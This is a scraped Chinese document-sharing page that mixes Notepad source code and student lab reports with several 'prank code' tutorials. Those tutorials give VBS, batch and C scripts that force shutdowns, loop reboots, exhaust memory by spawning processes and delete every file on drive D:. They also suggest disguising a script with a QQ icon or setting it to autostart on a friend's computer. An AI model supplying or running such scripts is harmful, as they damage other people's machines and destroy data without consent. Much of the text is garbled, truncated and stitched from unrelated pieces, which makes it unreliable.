记事本自动换行代码

/*Word Wrap*/

case M_WW:

style= (!fWrap) ? ES_STD : (ES_STD | WS_HSCROLL);

if( NpReCreate( style ) )

{

fWrap= !fWrap;

}

...

/* ** Recreate notepad edit window, get text from old window and put in new window. Called when user changes style from wrap on/off */ BOOL FAR NpReCreate( long style )

{

RECT rcT1;

HWND hwndT1;

HANDLE hT1;

int cchTextNew;

TCHAR* pchText;

BOOL fWrap = ((style & WS_HSCROLL) == 0);

HCURSOR hPrevCursor;

BOOL bModified; // modify flag from old edit buffer

/* if wordwrap, remove soft carriage returns */

hPrevCursor= SetCursor( hWaitCursor ); // this may take some time... if (!fWrap)

SendMessage(hwndEdit, EM_FMTLINES, FALSE, 0L);

bModified= (SendMessage( hwndEdit, EM_GETMODIFY, 0,0 ) != 0);

cchTextNew= (int)SendMessage( hwndEdit, WM_GETTEXTLENGTH, 0, 0L ); hT1= LocalAlloc( LMEM_MOVEABLE, ByteCountOf(cchTextNew + 1) );

if( !hT1 )

{

/* failed, was wordwrap; insert soft carriage returns */

if (!fWrap)

SendMessage(hwndEdit, EM_FMTLINES, TRUE, 0L);

SetCursor( hPrevCursor );

return FALSE;

}

GetClientRect( hwndNP, (LPRECT)&rcT1 );

/*

* save the current edit control text.

*/

pchText= LocalLock (hT1);

SendMessage( hwndEdit, WM_GETTEXT, cchTextNew+1, (LPARAM)pchText );

hwndT1= CreateWindowEx( WS_EX_CLIENTEDGE,

TEXT("Edit"),

TEXT(""), // pchText

style,

0,

0,

rcT1.right,

rcT1.bottom,

hwndNP,

(HMENU)ID_EDIT,

hInstanceNP, NULL );

if( !hwndT1 )

{

SetCursor( hPrevCursor );

if (!fWrap)

SendMessage( hwndEdit, EM_FMTLINES, TRUE, 0L );

LocalUnlock(hT1);

LocalFree(hT1);

return FALSE;

}

//

// The user can "add" styles to the edit window after it is

// created (like WS_EX_RTLREADING) when language packs are installed.

// Preserve these styles when changing the word wrap.

//

SetWindowLong( hwndT1 ,

GWL_EXSTYLE ,

GetWindowLong( hwndEdit , GWL_EXSTYLE )|WS_EX_CLIENTEDGE ) ;

// Set font before set text to save time calculating

SendMessage( hwndT1, WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0) );

if (!SendMessage (hwndT1, WM_SETTEXT, 0, (LPARAM) pchText))

{

SetCursor( hPrevCursor );

if (!fWrap)

SendMessage( hwndEdit, EM_FMTLINES, TRUE, 0L );

DestroyWindow( hwndT1 );

LocalUnlock( hT1 );

LocalFree( hT1 );

return FALSE;

}

LocalUnlock(hT1);

DestroyWindow( hwndEdit ); // out with the old

hwndEdit = hwndT1; // in with the new

/*

* Win32s does not support the EM_SETHANDLE message, so just do * the assignment. hT1 already contains the edit control text.

*/

/* free the earlier allocated memory in hEdit */

if (hEdit)

LocalFree(hEdit);

hEdit = hT1;

/* limit text for safety's sake. */

PostMessage( hwndEdit, EM_LIMITTEXT, (WPARAM)CCHNPMAX, 0L );

ShowWindow(hwndNP, SW_SHOW);

SetTitle( fUntitled ? szUntitled : szFileName );

SendMessage( hwndEdit, EM_SETMODIFY, bModified, 0L );

SetFocus(hwndEdit);

SetCursor( hPrevCursor ); // restore cursor

return TRUE;

}

用记事本编写整人小程序

不需要任何编程基础,不需要任何编程软件,只需使用电脑里自带的记事本软件就可以轻松编写出整人的小程序,甚至是病毒。。。。。。 首先,单击右键,新建一个文本文档,输入:msgbox"你是猪!" 然后,点击文件->另存为->保存类型:所有文件->文件名xxxx.vbs,名字随便起,但一定要记得把后缀名改为 .vbs。

然后打开刚保存的xxxx.vbs

哈哈,很好玩吧,双引号里的内容”你是猪!”可以随意更改,但双引号一定要用英文输入法来写。嗯,下面正式开始整人。。。。。。 按照前面说的,在记事本上输入如下图,并保存为55.vbs。

其中wscript.Sleep 500为停留500毫秒,可随便更改 下面这段代码就是一个启动关机程序的东东,300这个数是指300秒倒计时,这个数字也可以随便改,这段代码也可以独立保存出来作为一个关机程序 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" 打开这个文件,如果你点击“是”,你就会进入一个死循环中,就是不断地弹出对话框。解决方法是按下Alt+Ctrl+Delete键,选择“进程”,把wscript.exe结束掉。如果点击“否”,

则进入关机倒计时,解决方法是点击“开始”->“运行”,在对话框里输入shutdown -a ,再点击“确定”即可。 最后嘛,把这文件创建桌面快捷方式,然后把图标换了,换成QQ什么的,你懂的,呵呵。。。。。。当然,这种VBS编程还有很多好玩的地方,比如病毒,我也收藏有几个,由于我是一等一的良好市民,就不写上来了。 最后再送上一个程序: dim a do a=inputbox("输入123,否则关机。") if a="123" then msgbox" 很遗憾,你中招了,这是整人程序,你就等着关机吧" WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 1000 exit do else msgbox"乖点,输入123" end if loop

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

C#实验-记事本(带源码)

记事本——实验报告 一、实验目的 创建一个Windows窗体应用程序,实现记事本的基本功能,具体包括新建文件、打开文件、保存文件、查找等功能。该实验的目的是掌握: (一)窗体程序的开发 (二)常用控件的使用 (三)常用事件的处理 (四)对话框的设计和使用 (五)文件访问的基本方法 二、实验内容 (一)主窗口Form1 图1 主窗口 主窗口界面如图1所示,功能包括基本编辑操作、主菜单和其它快捷键功能。 1、编辑功能用文本框实现。 2、窗口标题与文件名相一致。未打开文件时为“无标题”,打开文件(另存为)后为文件名。 3、支持菜单的热键和快捷键。二者的区别是前者是激活菜单且显示出该菜单项时有效,后者在任何时候有效。 4、实现新建、打开、保存和查找功能。 5、支持F3(查找下一个)。 表1 Form1控件列表

using System; using System.Collections.Generic; using https://www.360docs.net/doc/12215562.html,ponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form2 fm2 = null; public string searchText = ""; public Form1() { InitializeComponent(); } private void saveFile() { if (textBox1.Text.Length > 0 && textBox1.Modified) { if (MessageBox.Show("想保存文件吗?", "记事本",

VB程序代码(简单小程序)

实验一:(带有进度条的倒计时程序) Public Class Form1 Dim timers As Integer Dim temp As Integer Private Sub Timer1_Tick(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles Timer1、Tick If(ProgressBar1、Value + ProgressBar1、Maximum / timers < ProgressBar1、Maximum) Then ProgressBar1、Value += ProgressBar1、Maximum / timers Else Timer1、Enabled = False ProgressBar1、Value = ProgressBar1、Maximum MessageBox、Show("进度完成!") End If temp += 1 Label1、Text = temp、ToString() End Sub Private Sub Form1_Load(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles MyBase、Load timers = 30 End Sub Private Sub Button2_Click(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles Button2、Click timers = Val(InputBox("输入", "请输入总时间。", 30, 0, 0)) End Sub Private Sub Button1_Click(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles Button1、Click Timer1、Enabled = True End Sub End Class 实验二(定时器控制蝴蝶飞舞) Public Class Form1 Dim t As Integer Private Sub Timer1_Tick(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles Timer1、Tick ’Dim t As Boolean ' If t = True Then ' PictureBox3、Image = PictureBox2、Image ' t = False 'Else ' PictureBox3、Image = PictureBox1、Image ' t = True 'End If Select Case t Case 0 PictureBox3、Image = PictureBox1、Image

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

记事本代码

/*C语言Windows程序设计-> 简易文本编辑器-> 演示*/ #include #include #include "resource.h" /*各控件所使用的ID*/ #define ID_EDITBOX 1 //文本编辑框控件 #define ID_TXTPATH 2 //路径编辑框控件 LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM); //关于简易记事本弹窗的关闭函数声明。 LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM ) ; int CreateChildWindow(HWND, HWND *, LPARAM ) ; //创建将使用到的子窗口控件 int SavaInputContent( TCHAR *, TCHAR * ) ; TCHAR *openbook(TCHAR *path); //保存输入的文字到文件 int WINAPI WinMain( HINSTANCE hInstance, //第一个参数hInstance表示该程序当前运行的实例的句柄 HINSTANCE hPrevInstance, //第二个参数hPrevInstance表示当前实例的前一个实例的句柄。 PSTR szCmdLine, int iCmdShow ) //第三个参数lpCmdLine是一个以空终止的字符串,指定传递给应用程序的命令行参数? { static TCHAR szAppName[] = TEXT( "demo" ) ; HWND hwnd ; MSG msg ; WNDCLASS wndclass ; wndclass.lpfnWndProc = WndProc ; wndclass.style = CS_HREDRAW | CS_VREDRAW ; wndclass.hInstance = hInstance ; wndclass.cbClsExtra = 0 ; wndclass.cbWndExtra = 0 ; wndclass.hbrBackground = CreateSolidBrush(RGB(236, 233, 216)) ; wndclass.hCursor = LoadCursor( NULL, IDC_ARROW ) ; wndclass.hIcon = LoadIcon( NULL, IDI_APPLICATION ) ;

JAVA简单记事本程序设计实验报告(带源码).

JAVA程序设计 实验报告 院系:信息工程系 专业:计算机应用技术 班级:11计算机01班 姓名:Civen 任课教师:XXX 实验题目:JA V A简单记事本程序设计

目录 目录 (1) 一、引言 (2) 1.1 课程设计目的 (2) 1.2 题目说明 (2) 1.3 开发工具介绍 (2) 二、总体设计 ......................................................................... - 4 - 2.1系统开发平台.............................................................. - 4 - 2.2 系统流程图 (4) 2.3功能结构图.................................... 错误!未定义书签。 2.4数据库设计.................................... 错误!未定义书签。 三、详细说明 (4) 3.1 系统实施................................................................... - 11 - 四、系统的调试和运行 (9) 五、课程设计总结 (9) 六、参考文献 (9) 附录(源程序代码) (10)

一、引言 1.1 课程设计目的 1) 复习,巩固Java语言的基础知识,进一步加深对Java语言的理解和掌握; 2) 课程设计为学生提供了一个既动手又动脑,独立实践的机会,将课本上的理论知识和 实际有机的结合起来,锻炼学生的分析解决实际问题的能力,提高学生适应实际,实践编程的能力; 3) 培养学生在项目开发中团队合作精神,创新意识及能力。 1.掌握窗口、菜单等高级组件的应用。 2.掌握Java Swing的使用方法。 3.了解GUI应用程序的创建过程与方法。 1.2 题目说明 课题:学生成绩管理 4.功能要求: 编写一个简单记事本程序,要求包含以下菜单项 文件新建、打开、保存、退出 编辑剪切、拷贝、粘贴、查找 帮助关于 5.实现文件和编辑菜单里的功能 1.3 开发工具介绍 Eclipse是一种可扩展的开放源代码IDE。2001年11月,IBM公司捐出价值4,000万美元的源代码组建了Eclipse联盟,并由该联盟负责这种工具的后续开发。集成开发环境(IDE)经常将其应用范围限定在“开发、构建和调试”的周期之中。为了帮助集成开发环境(IDE)克服目前的局限性,业界厂商合作创建了Eclipse平台。Eclipse允许在同

VB整人小程序:让整个屏幕雪花飘飘(改进)

当前位置:首页>VB 小程序> 让整个屏幕雪花飘飘(改进) 58. VB整人小程序:让整个屏幕雪花飘飘(改进) 这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。雪花可在任何窗口上飘荡,包括任务栏、开始菜单、弹出菜单等地方。 本程序与原程序的主要改进之处是:落下的雪花不会消失,会在屏幕底部不断堆积,双击屏幕底部的积雪可使积雪消失。 本程序编译成 exe 文件运行后,只能通过系统“任务管理器”才能终止运行。程序运行效果截图如下: '' '本程序包含两个窗体,Form1 和 Form2,其中 Form1 是启动窗体。代码在在 VB6 调试通过: ''下面是 Form1 窗体代码:===================================== '' 注意:在属性窗口将窗体的 BorderStyle 属性设置为 0,即窗体是无边框窗体 '' 在窗体上放置一个控件:Timer1,不必设置任何属性 ''本人原创,转载请注明文章来源:https://www.360docs.net/doc/12215562.html,/100bd/blog/item/fbb5bdd5f0564910a08bb740.html Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Dim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As Long Private Type tySnow '定义表示雪花的数据类型 X As Single: xV As Single 'x 坐标、水平移动速度

VS编写的记事本源码

记事本 一、打开visual studio 新建——项目——windows窗体应用程序命名:年终大 作业; 二、Form.cs中作如下操作: 三、在工具箱中选择如下控件:menuStrip、contextMenustrip、colordialog、 savefiledialog、folderbrowserdialog、fontdialog、openfiledialog、statustrip 、Folderbrowserdialog 四、单击menuStrip并输入文件(&F),双击后输入新建(&N)并单击新建在 属性中的shortkeys中选择Ctl+N;并在那么属性中改名为“新建”、后面类似; 五、单击statustrip在其属性中的item属性中选择添加label4个; 六、分别输入以下代码:using System; 七、using System.Collections.Generic; 八、using https://www.360docs.net/doc/12215562.html,ponentModel; 九、using System.Data; 十、using System.Drawing; 十一、using System.Linq; 十二、using System.Text; 十三、using System.Windows.Forms; 十四、using System.IO; 十五、 十六、 十七、namespace 年终大作业 十八、{ 十九、public partial class Form1 : Form 二十、{ 二十一、public Form1() 二十二、{ 二十三、InitializeComponent(); 二十四、} 二十五、 二十六、private void 新建_Click(object sender, EventArgs e) 二十七、{

整人电脑代码

第一个:让别人内存OVER(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。第二个:让对方重启指定次数(害人专用) @off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c: echo. >c: & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机, 结束任务都不行,他只能说他是猪才能解决问题。够坏吧注意哦,你可以把我是猪那个修

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

(完整版)JAVA记事本源代码毕业设计

以下文档格式全部为word格式,下载后您可以任意修改编辑。 JAVA记事本源代码 import java.awt.*; import java.awt.event.*; import java.text.*; import java.util.*; import java.io.*; import javax.swing.undo.*; import javax.swing.*; import javax.swing.event.*; import java.awt.datatransfer.*; import java.util.List; public class Notepad4 extends JFrame implements ActionListener, DocumentListener { JMenu mFile, mEdit, mMode, mView, mHelp; ---文件菜单 JMenuItem mFile_New, mFile_Open, mFile_Save, mFile_ASave, mFile_Print, mFile_Exit; ---编辑菜单 JMenuItem mEdit_Undo, mEdit_Cut, mEdit_Copy, mEdit_Paste, mEdit_Del, mEdit_Search, mEdit_SearchNext, mEdit_Replace, mEdit_Turnto, mEdit_SelectAll, mEdit_TimeDate;

---格式菜单 JCheckBoxMenuItem formatMenu_LineWrap; JMenu formatMenu_Color; JMenuItem formatMenu_Font, formatMenu_Color_FgColor, formatMenu_Color_BgColor; ---查看菜单 JCheckBoxMenuItem viewMenu_Status; ---帮助菜单 JMenuItem mHelp_HelpTopics, mHelp_About; ---弹出菜单级菜单项 JPopupMenu popupMenu; JMenuItem popupMenu_Undo, popupMenu_Cut, popupMenu_Copy, popupMenu_Paste, popupMenu_Delete, popupMenu_SelectAll; ---工具栏按钮 JButton newButton, openButton, saveButton, saveAsButton, printButton, undoButton, redoButton, cutButton, copyButton, pasteButton, deleteButton, searchButton, timeButton, fontButton, boldButton, italicButton, fgcolorButton, bgcolorButton, ; 文本编辑区域 static JTextArea Text; 状态栏标签 JLabel statusLabel1, statusLabel2, statusLabel3; JToolBar statusBar; ---系统剪贴板 Toolkit toolKit = Toolkit.getDefaultToolkit();

如何用记事本编写一个简单的java代码

如何用记事本编写一个简单的j a v a代码 Document serial number【UU89WT-UU98YT-UU8CB-UUUT-UUT108】

一:怎么用记事本写第一个java代码 第一步:新建txt文档 首先我们在F盘新建一个txt文档,并命名为,如下图所示: 第二步:编写代码 我们双击打开:如下图所示 第三步:编写好代码 我们在记事本中写代码,写好后如下所示:

然后我们同时按Ctrl+s键保存,然后关闭记事本即可 上面的源代码如下: public class Test{//这里的Test为类名,这里类名要与我们刚才新建的记事本的名字必须一致,首字母大写 public static void main(String[] args){//java中的主函数的写法 "HelloWorld");//java中的输出语句写法 } } 第三步:打开控制台界面 我们在计算机中,打开如下图界面,

然后在这里,输入cmd,并按回车,然后弹出如图所示

第四步:在控制台中运行并输出 我们用鼠标点击一下里面黑色部分,然后输入F:然后回车,然后再输入javac 然后回车,最后输入java Test,就可以看到结果了,如下图所示:

红色圈出来部分就是结果了 二:温馨提示: 1,上面演算中在控制台中首先输入F:的原因是因为我在F盘建立一个文本文档,并命名为,如果你是把你的文档文档建立在D盘,则应该输入D: 以此类推。 2,如果你是在F盘下的CH文件夹建立一个记事本,并命名为,则输入的情况如下, cd CH表示转到CH这个文件夹下,然后再输入回车,再输入java Test 就可以看到运行结果了

记事本代码

记事本代码.txt2008太不正常了,一切都不正常!在这个关键时刻,中国男足挺身而出,向全世界证明:中国男足还是正常的!using System; using System.Collections.Generic; using https://www.360docs.net/doc/12215562.html,ponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using System.Runtime.InteropServices; namespace Text01 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void 新建NToolStripMenuItem_Click(object sender, EventArgs e) { //如果当前文本内容处于修改状态,则提示保存 if (richTextBox1.Modified == true) { DialogResult re = MessageBox.Show("文件" + Text +"的内容已改变,需要保存吗?", "保存文件",MessageBoxButtons.YesNoCancel, MessageBoxIcon.Question); switch (re) { case DialogResult.Yes: this.新建NToolStripMenuItem_Click(sender, e); richTextBox1.Clear(); https://www.360docs.net/doc/12215562.html, = ""; this.Text = "新建-记事本"; break; case DialogResult.No: richTextBox1.Clear(); https://www.360docs.net/doc/12215562.html, = ""; this.Text = "新建-记事本"; break; case DialogResult.Cancel: break;

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

VB编写的课堂随机点名小程序代码

随机点名系统。 综合网上各类小程序,自己修改定制了一款新的小程序。 学生名单.txt 放在同一个目录中。 使用截图如下 Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) '定义常量 Const HWND_TOPMOST = -1 'On Top Const HWND_NOTOPMOST = -2 'No Top Const SWP_NOACTIV A TE = &H10 ' Const SWP_SHOWWINDOW = &H40 ' 'Dim TopOn As Integer Dim ss, mm, nn Dim num(1 To 300) As Integer

Dim j, k As Integer Dim A(500) As String, r As Integer Dim filename As String Private Sub Command1_Click() Dim b As String Dim t, i As Integer filename = App.Path & "\" & "学生名单.txt" Open filename For Input As #1 '产生记录总数以内的随机数x i = 1 While Not EOF(1) Line Input #1, A(i) i = i + 1 Wend c = i Close #1 Start: Randomize t = Int(c * Rnd + 1) For j = 1 To c If t = num(j) Then GoTo Start End If Next Label1.Caption = A(t) k = k + 1 num(k) = t If k = c Then MsgBox "所有人员均已点过!", vbSystemModal Command1.Enabled = False Command3.Enabled = True End If

整人电脑代码修订稿

整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】

第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

相关文档
最新文档